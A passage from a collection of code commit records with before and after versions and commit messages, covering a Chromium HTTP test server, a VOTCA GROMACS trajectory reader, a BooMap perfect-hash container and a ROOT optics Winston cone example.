letset;\n  ExtractLetters(vocabe, &letters, &letset);\n  ExtractLetters(vocabf, &letters, NULL);\n  letters[TD::Convert(\"NULL\")].clear();\n\n  BasicLexicalAlignment x(letters, letset.size(), &corpus);\n  x.InitializeRandom();\n  const unsigned samples = conf[\"samples\"].as<unsigned>();\n  for (int i = 0; i < samples; ++i) {\n    for (int j = 431; j < 433; ++j) Debug(corpus[j]);\n    cerr << i << \"\\t\" << x.tmodel.r.size() << \"\\t\";\n    if (i % 10 == 0) x.ResampleHyperparemeters();\n    x.ResampleCorpus();\n    if (i > (samples \/ 5) && (i % 10 == 9)) for (int j = 0; j < corpus.size(); ++j) AddSample(&corpus[j]);\n  }\n  for (unsigned i = 0; i < corpus.size(); ++i)\n    WriteAlignments(corpus[i]);\n  \/\/ModelAndData posterior(x, &corpus, vocabe, vocabf);\n  x.tmodel.Summary();\n  x.up0.Summary();\n\n  \/\/posterior.Sample();\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/tools\/fetch\/http_session.h\"\n#include \"net\/tools\/fetch\/http_server_response_info.h\"\n\nHttpSession::HttpSession(const std::string& ip, int port)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(\n          socket_(HttpListenSocket::Listen(ip, port, this))) {\n}\n\nHttpSession::~HttpSession() {\n}\n\nvoid HttpSession::OnRequest(HttpListenSocket* connection, \n                            HttpServerRequestInfo* info) {\n  \/\/ TODO(mbelshe):  Make this function more interesting.\n\n  \/\/ Generate a 10KB sequence of data.\n  static std::string data;\n  if (data.length() == 0) {\n    while (data.length() < (10 * 1024))\n      data += 'a' + (rand() % 26);\n  }\n\n  HttpServerResponseInfo response_info;\n  response_info.protocol = \"HTTP\/1.1\";\n  response_info.status = 200;\n  response_info.content_type = \"text\/plain\";\n  response_info.content_length = data.length();\n\n  connection->Respond(&response_info, data);\n}\n<commit_msg>Fix build.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/tools\/fetch\/http_session.h\"\n#include \"net\/tools\/fetch\/http_server_response_info.h\"\n\nHttpSession::HttpSession(const std::string& ip, int port)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(\n          socket_(HttpListenSocket::Listen(ip, port, this))) {\n}\n\nHttpSession::~HttpSession() {\n}\n\nvoid HttpSession::OnRequest(HttpListenSocket* connection, \n                            HttpServerRequestInfo* info) {\n  \/\/ TODO(mbelshe):  Make this function more interesting.\n\n  \/\/ Generate a 10KB sequence of data.\n  CR_DEFINE_STATIC_LOCAL(std::string, data, ());\n  if (data.length() == 0) {\n    while (data.length() < (10 * 1024))\n      data += 'a' + (rand() % 26);\n  }\n\n  HttpServerResponseInfo response_info;\n  response_info.protocol = \"HTTP\/1.1\";\n  response_info.status = 200;\n  response_info.content_type = \"text\/plain\";\n  response_info.content_length = data.length();\n\n  connection->Respond(&response_info, data);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"gmxtrajectoryreader.h\"\n#include <cstdlib>\n#include <gromacs\/utility\/programcontext.h>\n#include <iostream>\n#include <votca\/csg\/topology.h>\n\nnamespace votca {\nnamespace csg {\n\nbool GMXTrajectoryReader::Open(const std::string &file) {\n  _filename = file;\n  return true;\n}\n\nvoid GMXTrajectoryReader::Close() { close_trx(_gmx_status); }\n\nbool GMXTrajectoryReader::FirstFrame(Topology &conf) {\n  gmx_output_env_t *oenv;\n  output_env_init(&oenv, gmx::getProgramContext(), time_ps, FALSE, exvgNONE, 0);\n  if (!read_first_frame(oenv, &_gmx_status, (char *)_filename.c_str(),\n                        &_gmx_frame, TRX_READ_X | TRX_READ_V | TRX_READ_F)) {\n    throw std::runtime_error(std::string(\"cannot open \") + _filename);\n  }\n  output_env_done(oenv);\n\n  Eigen::Matrix3d m;\n  for (Index i = 0; i < 3; i++) {\n    for (Index j = 0; j < 3; j++) {\n      m(i, j) = _gmx_frame.box[j][i];\n    }\n  }\n  conf.setBox(m);\n  conf.setTime(_gmx_frame.time);\n  conf.setStep(_gmx_frame.step);\n  std::cout << std::endl;\n\n  if (_gmx_frame.natoms != (Index)conf.Beads().size()) {\n    throw std::runtime_error(\n        \"number of beads in trajectory do not match topology\");\n  }\n\n  \/\/ conf.HasPos(true);\n  \/\/ conf.HasF(_gmx_frame.bF);\n\n  for (Index i = 0; i < _gmx_frame.natoms; i++) {\n    Eigen::Vector3d r = {_gmx_frame.x[i][XX], _gmx_frame.x[i][YY],\n                         _gmx_frame.x[i][ZZ]};\n    conf.getBead(i)->setPos(r);\n    if (_gmx_frame.bF) {\n      Eigen::Vector3d f = {_gmx_frame.f[i][XX], _gmx_frame.f[i][YY],\n                           _gmx_frame.f[i][ZZ]};\n      conf.getBead(i)->setF(f);\n    }\n    if (_gmx_frame.bV) {\n      Eigen::Vector3d v = {_gmx_frame.v[i][XX], _gmx_frame.v[i][YY],\n                           _gmx_frame.v[i][ZZ]};\n      conf.getBead(i)->setVel(v);\n    }\n  }\n  return true;\n}\n\nbool GMXTrajectoryReader::NextFrame(Topology &conf) {\n  gmx_output_env_t *oenv;\n  output_env_init(&oenv, gmx::getProgramContext(), time_ps, FALSE, exvgNONE, 0);\n  if (!read_next_frame(oenv, _gmx_status, &_gmx_frame)) {\n    return false;\n  }\n  output_env_done(oenv);\n\n  Eigen::Matrix3d m;\n  for (Index i = 0; i < 3; i++) {\n    for (Index j = 0; j < 3; j++) {\n      m(i, j) = _gmx_frame.box[j][i];\n    }\n  }\n  conf.setTime(_gmx_frame.time);\n  conf.setStep(_gmx_frame.step);\n  conf.setBox(m);\n\n  \/\/ conf.HasF(_gmx_frame.bF);\n\n  for (Index i = 0; i < _gmx_frame.natoms; i++) {\n    Eigen::Vector3d r = {_gmx_frame.x[i][XX], _gmx_frame.x[i][YY],\n                         _gmx_frame.x[i][ZZ]};\n    conf.getBead(i)->setPos(r);\n    if (_gmx_frame.bF) {\n      Eigen::Vector3d f = {_gmx_frame.f[i][XX], _gmx_frame.f[i][YY],\n                           _gmx_frame.f[i][ZZ]};\n      conf.getBead(i)->setF(f);\n    }\n    if (_gmx_frame.bV) {\n      Eigen::Vector3d v = {_gmx_frame.v[i][XX], _gmx_frame.v[i][YY],\n                           _gmx_frame.v[i][ZZ]};\n      conf.getBead(i)->setVel(v);\n    }\n  }\n  return true;\n}\n\n}  \/\/ namespace csg\n}  \/\/ namespace votca\n<commit_msg>gmxtrajectoryreader: fix compile with gmx-2021<commit_after>\/*\n * Copyright 2009-2019 The VOTCA Development Team (http:\/\/www.votca.org)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \"gmxtrajectoryreader.h\"\n#include <cstdlib>\n#include <gromacs\/utility\/programcontext.h>\n#include <iostream>\n#include <votca\/csg\/topology.h>\n\nnamespace votca {\nnamespace csg {\n\nbool GMXTrajectoryReader::Open(const std::string &file) {\n  _filename = file;\n  return true;\n}\n\nvoid GMXTrajectoryReader::Close() { close_trx(_gmx_status); }\n\nbool GMXTrajectoryReader::FirstFrame(Topology &conf) {\n  gmx_output_env_t *oenv;\n#if GMX_VERSION >= 20210000\n  gmx::TimeUnit timeunit = gmx::TimeUnit::Picoseconds;\n  XvgFormat xvg = XvgFormat::None;\n#else\n  time_unit_t timeunit = time_ps;\n  xvg_format_t xvg = exvgNONE;\n#endif\n  output_env_init(&oenv, gmx::getProgramContext(), timeunit, FALSE, xvg, 0);\n  if (!read_first_frame(oenv, &_gmx_status, (char *)_filename.c_str(),\n                        &_gmx_frame, TRX_READ_X | TRX_READ_V | TRX_READ_F)) {\n    throw std::runtime_error(std::string(\"cannot open \") + _filename);\n  }\n  output_env_done(oenv);\n\n  Eigen::Matrix3d m;\n  for (Index i = 0; i < 3; i++) {\n    for (Index j = 0; j < 3; j++) {\n      m(i, j) = _gmx_frame.box[j][i];\n    }\n  }\n  conf.setBox(m);\n  conf.setTime(_gmx_frame.time);\n  conf.setStep(_gmx_frame.step);\n  std::cout << std::endl;\n\n  if (_gmx_frame.natoms != (Index)conf.Beads().size()) {\n    throw std::runtime_error(\n        \"number of beads in trajectory do not match topology\");\n  }\n\n  \/\/ conf.HasPos(true);\n  \/\/ conf.HasF(_gmx_frame.bF);\n\n  for (Index i = 0; i < _gmx_frame.natoms; i++) {\n    Eigen::Vector3d r = {_gmx_frame.x[i][XX], _gmx_frame.x[i][YY],\n                         _gmx_frame.x[i][ZZ]};\n    conf.getBead(i)->setPos(r);\n    if (_gmx_frame.bF) {\n      Eigen::Vector3d f = {_gmx_frame.f[i][XX], _gmx_frame.f[i][YY],\n                           _gmx_frame.f[i][ZZ]};\n      conf.getBead(i)->setF(f);\n    }\n    if (_gmx_frame.bV) {\n      Eigen::Vector3d v = {_gmx_frame.v[i][XX], _gmx_frame.v[i][YY],\n                           _gmx_frame.v[i][ZZ]};\n      conf.getBead(i)->setVel(v);\n    }\n  }\n  return true;\n}\n\nbool GMXTrajectoryReader::NextFrame(Topology &conf) {\n  gmx_output_env_t *oenv;\n#if GMX_VERSION >= 20210000\n  gmx::TimeUnit timeunit = gmx::TimeUnit::Picoseconds;\n  XvgFormat xvg = XvgFormat::None;\n#else\n  time_unit_t timeunit = time_ps;\n  xvg_format_t xvg = exvgNONE;\n#endif\n  output_env_init(&oenv, gmx::getProgramContext(), timeunit, FALSE, xvg, 0);\n  if (!read_next_frame(oenv, _gmx_status, &_gmx_frame)) {\n    return false;\n  }\n  output_env_done(oenv);\n\n  Eigen::Matrix3d m;\n  for (Index i = 0; i < 3; i++) {\n    for (Index j = 0; j < 3; j++) {\n      m(i, j) = _gmx_frame.box[j][i];\n    }\n  }\n  conf.setTime(_gmx_frame.time);\n  conf.setStep(_gmx_frame.step);\n  conf.setBox(m);\n\n  \/\/ conf.HasF(_gmx_frame.bF);\n\n  for (Index i = 0; i < _gmx_frame.natoms; i++) {\n    Eigen::Vector3d r = {_gmx_frame.x[i][XX], _gmx_frame.x[i][YY],\n                         _gmx_frame.x[i][ZZ]};\n    conf.getBead(i)->setPos(r);\n    if (_gmx_frame.bF) {\n      Eigen::Vector3d f = {_gmx_frame.f[i][XX], _gmx_frame.f[i][YY],\n                           _gmx_frame.f[i][ZZ]};\n      conf.getBead(i)->setF(f);\n    }\n    if (_gmx_frame.bV) {\n      Eigen::Vector3d v = {_gmx_frame.v[i][XX], _gmx_frame.v[i][YY],\n                           _gmx_frame.v[i][ZZ]};\n      conf.getBead(i)->setVel(v);\n    }\n  }\n  return true;\n}\n\n}  \/\/ namespace csg\n}  \/\/ namespace votca\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __BOO_MAP__\n#define __BOO_MAP__\n\n#include \"BooPHF.hpp\"\n\n#include \"cereal\/types\/vector.hpp\"\n#include \"cereal\/types\/utility.hpp\"\n#include \"cereal\/archives\/binary.hpp\"\n\n#include <fstream>\n#include <vector>\n#include <iterator>\n#include <type_traits>\n\n#include <sys\/stat.h>\n\n\/\/ adapted from :\n\/\/ http:\/\/stackoverflow.com\/questions\/34875315\/implementation-my-own-list-and-iterator-stl-c\ntemplate <typename Iter>\nclass KeyIterator {\npublic:\n    typedef KeyIterator<Iter> self_type;\n    typedef typename std::iterator_traits<Iter>::value_type::first_type value_type;\n    typedef value_type& reference;\n    typedef value_type* pointer;\n    typedef std::forward_iterator_tag iterator_category;\n    typedef int64_t difference_type;\n\n    KeyIterator(Iter first) : curr_(first) {}\n    KeyIterator operator++() { KeyIterator i = *this; curr_++; return i; }\n    KeyIterator operator++(int) { ++curr_; return *this; }\n    reference operator*() { return curr_->first; }\n    pointer operator->() { return &(curr_->first); }\n    bool operator==(const self_type& rhs) { return curr_ == rhs.curr_; }\n    bool operator!=(const self_type& rhs) { return curr_ != rhs.curr_; }\n    bool operator<(const self_type& rhs) { return curr_ < rhs.curr_; }\n    bool operator<=(const self_type& rhs) { return curr_ <= rhs.curr_; }\n    \nprivate:\n    Iter begin_;\n    Iter curr_;\n};\n\ntemplate <typename KeyT, typename ValueT>\nclass BooMap {\npublic:\n    using HasherT = boomphf::SingleHashFunctor<KeyT>;\n    using BooPHFT = boomphf::mphf<KeyT, HasherT>;\n    using IteratorT = typename std::vector<std::pair<KeyT, ValueT>>::iterator;\n\n    BooMap() : built_(false) {}\n    void add(KeyT&& k, ValueT&& v) {\n        data_.emplace_back(k, v);\n    }\n\n    bool build(int nthreads=1) {\n        size_t numElem = data_.size();\n        KeyIterator<decltype(data_.begin())> kb(data_.begin());\n        KeyIterator<decltype(data_.begin())> ke(data_.end());\n        auto keyIt = boomphf::range(kb, ke);\n        BooPHFT* ph = new BooPHFT(numElem, keyIt, nthreads);\n        boophf_.reset(ph);\n        std::cerr << \"reordering keys and values to coincide with phf\";\n        std::vector<size_t> inds; inds.reserve(data_.size());\n        for (size_t i = 0; i < data_.size(); ++i) {\n            inds.push_back(ph->lookup(data_[i].first));\n        }\n        reorder_destructive_(inds.begin(), inds.end(), data_.begin());\n        built_ = true;\n        return built_;\n    }\n\n    inline IteratorT find(const KeyT& k) {\n        auto ind = boophf_->lookup(k);\n        return (ind < data_.size()) ? (data_[ind].first == k ? data_.begin() + ind : data_.end()) : data_.end();\n    }\n    \n    \/**\n     * NOTE: This function *assumes* that the key is in the hash.\n     * If it isn't, you'll get back a random element!\n     *\/\n    inline ValueT& operator[](const KeyT& k) {\n        auto ind = boophf_->lookup(k);\n        return (ind < data_.size() ? data_[ind].second : data_[0].second);\n    }\n    \n    inline IteratorT begin() { return data_.begin(); }\n    inline IteratorT end() { return data_.end(); }\n    inline IteratorT cend() const { return data_.cend(); }\n    inline IteratorT cbegin() const { return data_.cbegin(); }\n    \n    void save(const std::string& ofileBase) {\n        if (built_) {\n            std::string hashFN = ofileBase + \".bph\";\n            \/\/ save the perfect hash function\n            {\n                std::ofstream os(hashFN, std::ios::binary);\n                if (!os.is_open()) {\n                    std::cerr << \"BooM: unable to open output file [\" << hashFN << \"]; exiting!\\n\";\n                    std::exit(1);\n                }\n                boophf_->save(os);\n                os.close();\n            }\n            \/\/ and the values\n            std::string dataFN = ofileBase + \".val\";\n            {\n                std::ofstream valStream(dataFN, std::ios::binary);\n                if (!valStream.is_open()) {\n                    std::cerr << \"BooM: unable to open output file [\" << dataFN << \"]; exiting!\\n\";\n                    std::exit(1);\n                }\n                {\n                    cereal::BinaryOutputArchive outArchive(valStream);\n                    outArchive(data_);\n                }\n                valStream.close();\n            }\n        }\n    }\n    \n    void load(const std::string& ofileBase) {\n        std::string hashFN = ofileBase + \".bph\";\n        std::string dataFN = ofileBase + \".val\";\n\n        if ( !FileExists_(hashFN.c_str()) ) {\n            std::cerr << \"BooM: Looking for perfect hash function file [\" << hashFN << \"], which doesn't exist! exiting.\\n\";\n            std::exit(1);\n        }\n        if ( !FileExists_(dataFN.c_str()) ) {\n            std::cerr << \"BooM: Looking for key-value file [\" << dataFN << \"], which doesn't exist! exiting.\\n\";\n            std::exit(1);\n        }\n\n        \/\/ load the perfect hash function\n        {\n            boophf_.reset(new BooPHFT);\n            std::ifstream is(hashFN, std::ios::binary);\n            boophf_->load(is);\n            is.close();\n        }\n        \/\/ and the values\n        {\n            std::ifstream dataStream(dataFN, std::ios::binary);\n            {\n                cereal::BinaryInputArchive inArchive(dataStream);\n                inArchive(data_);\n            }\n            dataStream.close();\n        }\n        built_ = true;\n    }\n\nprivate:\n    \/\/ Taken from http:\/\/stackoverflow.com\/questions\/12774207\/fastest-way-to-check-if-a-file-exist-using-standard-c-c11-c\n    bool FileExists_(const char *path) {\n        struct stat fileStat;\n        if ( stat(path, &fileStat) ) {\n            return false;\n        }\n        if ( !S_ISREG(fileStat.st_mode) ) {\n            return false;\n        }\n        return true;\n    }\n\n    \/\/ From : http:\/\/stackoverflow.com\/questions\/838384\/reorder-vector-using-a-vector-of-indices\n    template< typename order_iterator, typename value_iterator >\n    void reorder_destructive_( order_iterator order_begin, order_iterator order_end, value_iterator v )  {\n        using value_t = typename std::iterator_traits< value_iterator >::value_type;\n        using index_t = typename std::iterator_traits< order_iterator >::value_type;\n        using diff_t = typename std::iterator_traits< order_iterator >::difference_type;\n\n        diff_t remaining = order_end - 1 - order_begin;\n        for ( index_t s = index_t(); remaining > 0; ++ s ) {\n            index_t d = order_begin[s];\n            if ( d == (diff_t) -1 ) continue;\n            -- remaining;\n            value_t temp = v[s];\n            for ( index_t d2; d != s; d = d2 ) {\n                std::swap( temp, v[d] );\n                std::swap( order_begin[d], d2 = (diff_t) -1 );\n                -- remaining;\n            }\n            v[s] = temp;\n        }\n    }\n\n    bool built_;\n    std::vector<std::pair<KeyT, ValueT>> data_;\n    std::unique_ptr<BooPHFT> boophf_{nullptr};\n};\n#endif \/\/ __BOO_MAP__ \n<commit_msg>iterator facade doesn't need begin_<commit_after>#ifndef __BOO_MAP__\n#define __BOO_MAP__\n\n#include \"BooPHF.hpp\"\n\n#include \"cereal\/types\/vector.hpp\"\n#include \"cereal\/types\/utility.hpp\"\n#include \"cereal\/archives\/binary.hpp\"\n\n#include <fstream>\n#include <vector>\n#include <iterator>\n#include <type_traits>\n\n#include <sys\/stat.h>\n\n\/\/ adapted from :\n\/\/ http:\/\/stackoverflow.com\/questions\/34875315\/implementation-my-own-list-and-iterator-stl-c\ntemplate <typename Iter>\nclass KeyIterator {\npublic:\n    typedef KeyIterator<Iter> self_type;\n    typedef typename std::iterator_traits<Iter>::value_type::first_type value_type;\n    typedef value_type& reference;\n    typedef value_type* pointer;\n    typedef std::forward_iterator_tag iterator_category;\n    typedef int64_t difference_type;\n\n    KeyIterator(Iter first) : curr_(first) {}\n    KeyIterator operator++() { KeyIterator i = *this; curr_++; return i; }\n    KeyIterator operator++(int) { ++curr_; return *this; }\n    reference operator*() { return curr_->first; }\n    pointer operator->() { return &(curr_->first); }\n    bool operator==(const self_type& rhs) { return curr_ == rhs.curr_; }\n    bool operator!=(const self_type& rhs) { return curr_ != rhs.curr_; }\n    bool operator<(const self_type& rhs) { return curr_ < rhs.curr_; }\n    bool operator<=(const self_type& rhs) { return curr_ <= rhs.curr_; }\n    \nprivate:\n    Iter curr_;\n};\n\ntemplate <typename KeyT, typename ValueT>\nclass BooMap {\npublic:\n    using HasherT = boomphf::SingleHashFunctor<KeyT>;\n    using BooPHFT = boomphf::mphf<KeyT, HasherT>;\n    using IteratorT = typename std::vector<std::pair<KeyT, ValueT>>::iterator;\n\n    BooMap() : built_(false) {}\n    void add(KeyT&& k, ValueT&& v) {\n        data_.emplace_back(k, v);\n    }\n\n    bool build(int nthreads=1) {\n        size_t numElem = data_.size();\n        KeyIterator<decltype(data_.begin())> kb(data_.begin());\n        KeyIterator<decltype(data_.begin())> ke(data_.end());\n        auto keyIt = boomphf::range(kb, ke);\n        BooPHFT* ph = new BooPHFT(numElem, keyIt, nthreads);\n        boophf_.reset(ph);\n        std::cerr << \"reordering keys and values to coincide with phf ... \";\n        std::vector<size_t> inds; inds.reserve(data_.size());\n        for (size_t i = 0; i < data_.size(); ++i) {\n            inds.push_back(ph->lookup(data_[i].first));\n        }\n        reorder_destructive_(inds.begin(), inds.end(), data_.begin());\n        std::cerr << \"done\\n\";\n        built_ = true;\n        return built_;\n    }\n\n    inline IteratorT find(const KeyT& k) {\n        auto ind = boophf_->lookup(k);\n        return (ind < data_.size()) ? (data_[ind].first == k ? data_.begin() + ind : data_.end()) : data_.end();\n    }\n    \n    \/**\n     * NOTE: This function *assumes* that the key is in the hash.\n     * If it isn't, you'll get back a random element!\n     *\/\n    inline ValueT& operator[](const KeyT& k) {\n        auto ind = boophf_->lookup(k);\n        return (ind < data_.size() ? data_[ind].second : data_[0].second);\n    }\n    \n    inline IteratorT begin() { return data_.begin(); }\n    inline IteratorT end() { return data_.end(); }\n    inline IteratorT cend() const { return data_.cend(); }\n    inline IteratorT cbegin() const { return data_.cbegin(); }\n    \n    void save(const std::string& ofileBase) {\n        if (built_) {\n            std::string hashFN = ofileBase + \".bph\";\n            \/\/ save the perfect hash function\n            {\n                std::ofstream os(hashFN, std::ios::binary);\n                if (!os.is_open()) {\n                    std::cerr << \"BooM: unable to open output file [\" << hashFN << \"]; exiting!\\n\";\n                    std::exit(1);\n                }\n                boophf_->save(os);\n                os.close();\n            }\n            \/\/ and the values\n            std::string dataFN = ofileBase + \".val\";\n            {\n                std::ofstream valStream(dataFN, std::ios::binary);\n                if (!valStream.is_open()) {\n                    std::cerr << \"BooM: unable to open output file [\" << dataFN << \"]; exiting!\\n\";\n                    std::exit(1);\n                }\n                {\n                    cereal::BinaryOutputArchive outArchive(valStream);\n                    outArchive(data_);\n                }\n                valStream.close();\n            }\n        }\n    }\n    \n    void load(const std::string& ofileBase) {\n        std::string hashFN = ofileBase + \".bph\";\n        std::string dataFN = ofileBase + \".val\";\n\n        if ( !FileExists_(hashFN.c_str()) ) {\n            std::cerr << \"BooM: Looking for perfect hash function file [\" << hashFN << \"], which doesn't exist! exiting.\\n\";\n            std::exit(1);\n        }\n        if ( !FileExists_(dataFN.c_str()) ) {\n            std::cerr << \"BooM: Looking for key-value file [\" << dataFN << \"], which doesn't exist! exiting.\\n\";\n            std::exit(1);\n        }\n\n        \/\/ load the perfect hash function\n        {\n            boophf_.reset(new BooPHFT);\n            std::ifstream is(hashFN, std::ios::binary);\n            boophf_->load(is);\n            is.close();\n        }\n        \/\/ and the values\n        {\n            std::ifstream dataStream(dataFN, std::ios::binary);\n            {\n                cereal::BinaryInputArchive inArchive(dataStream);\n                inArchive(data_);\n            }\n            dataStream.close();\n        }\n        built_ = true;\n    }\n\nprivate:\n    \/\/ Taken from http:\/\/stackoverflow.com\/questions\/12774207\/fastest-way-to-check-if-a-file-exist-using-standard-c-c11-c\n    bool FileExists_(const char *path) {\n        struct stat fileStat;\n        if ( stat(path, &fileStat) ) {\n            return false;\n        }\n        if ( !S_ISREG(fileStat.st_mode) ) {\n            return false;\n        }\n        return true;\n    }\n\n    \/\/ From : http:\/\/stackoverflow.com\/questions\/838384\/reorder-vector-using-a-vector-of-indices\n    template< typename order_iterator, typename value_iterator >\n    void reorder_destructive_( order_iterator order_begin, order_iterator order_end, value_iterator v )  {\n        using value_t = typename std::iterator_traits< value_iterator >::value_type;\n        using index_t = typename std::iterator_traits< order_iterator >::value_type;\n        using diff_t = typename std::iterator_traits< order_iterator >::difference_type;\n\n        diff_t remaining = order_end - 1 - order_begin;\n        for ( index_t s = index_t(); remaining > 0; ++ s ) {\n            index_t d = order_begin[s];\n            if ( d == (diff_t) -1 ) continue;\n            -- remaining;\n            value_t temp = v[s];\n            for ( index_t d2; d != s; d = d2 ) {\n                std::swap( temp, v[d] );\n                std::swap( order_begin[d], d2 = (diff_t) -1 );\n                -- remaining;\n            }\n            v[s] = temp;\n        }\n    }\n\n    bool built_;\n    std::vector<std::pair<KeyT, ValueT>> data_;\n    std::unique_ptr<BooPHFT> boophf_{nullptr};\n};\n#endif \/\/ __BOO_MAP__ \n<|endoftext|>"}
{"text":"<commit_before>\/\/ Author: Akira Okumura 2011\/3\/6\n\n\/******************************************************************************\n * Copyright (C) 2006-, Akira Okumura                                         *\n * All rights reserved.                                                       *\n *****************************************************************************\/\n\n\/\/ An example of hexagonal Winston cone\n\n\/\/ define useful units\nstatic const Double_t cm = AOpticsManager::cm();\nstatic const Double_t mm = AOpticsManager::mm();\nstatic const Double_t um = AOpticsManager::um();\nstatic const Double_t nm = AOpticsManager::nm();\nstatic const Double_t m = AOpticsManager::m();\n\nvoid HexWinstonCone(Int_t mode = 0) {\n  \/\/ mode == 0: hex-hex Winston cone built with AGeoWinstonConePoly\n  \/\/ mode == 1: hex-hex Winston cone built with three AGeoWinstonCone2D\n  \/\/ mode == 2: circle-circle Winston cone with AGeoWinstonConePoly\n\n  AOpticsManager* manager = new AOpticsManager(\"manager\", \"SC\");\n\n  \/\/ Make the world\n  TGeoBBox* worldbox = new TGeoBBox(\"worldbox\", 30 * m, 30 * m, 30 * m);\n  AOpticalComponent* world = new AOpticalComponent(\"world\", worldbox);\n  manager->SetTopVolume(world);\n\n  \/\/ Make the primary mirror\n  const Double_t kRin = 20 * mm;\n  const Double_t kRout = 10 * mm;\n  TGeoRotation* rot30 = new TGeoRotation(\"rot30\", 30, 0, 0);\n  rot30->RegisterYourself();\n  TGeoRotation* rot60 = new TGeoRotation(\"rot60\", 60, 0, 0);\n  rot60->RegisterYourself();\n  TGeoRotation* rot120 = new TGeoRotation(\"rot120\", 120, 0, 0);\n  rot120->RegisterYourself();\n\n  AGeoWinstonCone2D* coneV =\n      new AGeoWinstonCone2D(\"coneV\", kRin, kRout, kRin * 1.733);\n  TGeoPgon* pgon = new TGeoPgon(\"pgon\", 0, 360, 6, 4);\n  pgon->DefineSection(0, -coneV->GetDZ() * 0.999, 0, kRout * 1.001);\n  pgon->DefineSection(1, -coneV->GetDZ() * 0.5, 0, kRin * 0.9);\n  pgon->DefineSection(2, -coneV->GetDZ() * 0., 0, kRin * 0.99);\n  pgon->DefineSection(3, coneV->GetDZ() * 0.999, 0, kRin * 1.001);\n\n  if (mode == 0) {\n    AGeoWinstonConePoly* hexV = new AGeoWinstonConePoly(\"hexV\", kRin, kRout, 6);\n    TGeoCompositeShape* coneComp1 =\n        new TGeoCompositeShape(\"coneComp1\", \"pgon:rot30 - hexV\");\n    AMirror* coneMirror = new AMirror(\"coneMirror\", coneComp1);\n    world->AddNode(coneMirror, 1);\n  } else if (mode == 1) {\n    TGeoCompositeShape* coneComp1 = new TGeoCompositeShape(\n        \"coneComp1\", \"coneV*(coneV:rot60)*(coneV:rot120)\");\n    TGeoCompositeShape* coneComp2 =\n        new TGeoCompositeShape(\"coneComp2\", \"pgon:rot30 - coneComp1\");\n    AMirror* coneMirror = new AMirror(\"coneMirror\", coneComp2);\n    world->AddNode(coneMirror, 1);\n  } else {\n    AGeoWinstonConePoly* hexV =\n        new AGeoWinstonConePoly(\"hexV\", kRin, kRout, 100);\n    TGeoCompositeShape* coneComp1 =\n        new TGeoCompositeShape(\"coneComp1\", \"pgon:rot30 - hexV\");\n    AMirror* coneMirror = new AMirror(\"coneMirror\", coneComp1);\n    world->AddNode(coneMirror, 1);\n  }  \/\/ if\n\n  TGeoPgon* pgonPMT = new TGeoPgon(\"pgonPMT\", 0, 360, 6, 2);\n  pgonPMT->DefineSection(0, -coneV->GetDZ() - 0.01 * mm, 0, kRout * 1.01);\n  pgonPMT->DefineSection(1, -coneV->GetDZ(), 0, kRout * 1.01);\n  AFocalSurface* pmt = new AFocalSurface(\"pmt\", pgonPMT);\n  world->AddNode(pmt, 1, rot30);\n\n  manager->CloseGeometry();\n\n  TCanvas* can1 = new TCanvas(\"can1\", \"can1\");\n  world->Draw();\n\n  TGraph* graAeff = new TGraph;\n\n  for (Double_t deg = 0.; deg < 40.; deg += 0.1) {\n    TGeoTranslation* raytr = new TGeoTranslation(\n        \"raytr\", 100 * mm * TMath::Sin(deg * TMath::DegToRad()), 0,\n        100 * mm * TMath::Cos(deg * TMath::DegToRad()));\n    TGeoRotation* rayrot = new TGeoRotation(\"rayrot\", 90, 180 + deg, 0);\n\n    TVector3 dir(0, 0, 1);\n    Double_t lambda =\n        400 * nm;  \/\/ does not affect the results because we have no lens\n    \/\/ 1 photon per 1 mm^2\n    ARayArray* array =\n        ARayShooter::Square(lambda, 100 * mm, 101, rayrot, raytr, &dir);\n    Double_t dA = 1 * mm * mm;\n    manager->TraceNonSequential(*array);\n    TObjArray* focused = array->GetFocused();\n\n    Double_t Aeff = 0.;\n    for (Int_t j = 0; j <= focused->GetLast(); j++) {\n      ARay* ray = (ARay*)(*focused)[j];\n      if (!ray) continue;\n\n      \/\/ Calculate the effective area from the number of focused photons\n      Aeff += dA;\n\n      if (graAeff->GetN() == 0) {\n        ray->Draw();  \/\/ high CPU load!\n      }               \/\/ if\n    }                 \/\/ j\n\n    if (mode == 0 || mode == 1) {\n      graAeff->SetPoint(graAeff->GetN(), deg,\n                        Aeff \/ (2 * TMath::Sqrt(3) * kRin * kRin) \/\n                            TMath::Cos(deg * TMath::DegToRad()));\n    } else {\n      graAeff->SetPoint(graAeff->GetN(), deg,\n                        Aeff \/ (TMath::Pi() * kRin * kRin) \/\n                            TMath::Cos(deg * TMath::DegToRad()));\n    }  \/\/ if\n\n    delete array;\n  }  \/\/ deg\n\n  TCanvas* can2 = new TCanvas(\"can2\", \"can2\");\n  graAeff->GetXaxis()->SetTitle(\"Incident Angle (deg)\");\n  graAeff->GetYaxis()->SetTitle(\"Collection Efficiency (%)\");\n  graAeff->Draw(\"ap\");\n}\n<commit_msg>Increase the cone body size to fix issue #31. This closes #31.<commit_after>\/\/ Author: Akira Okumura 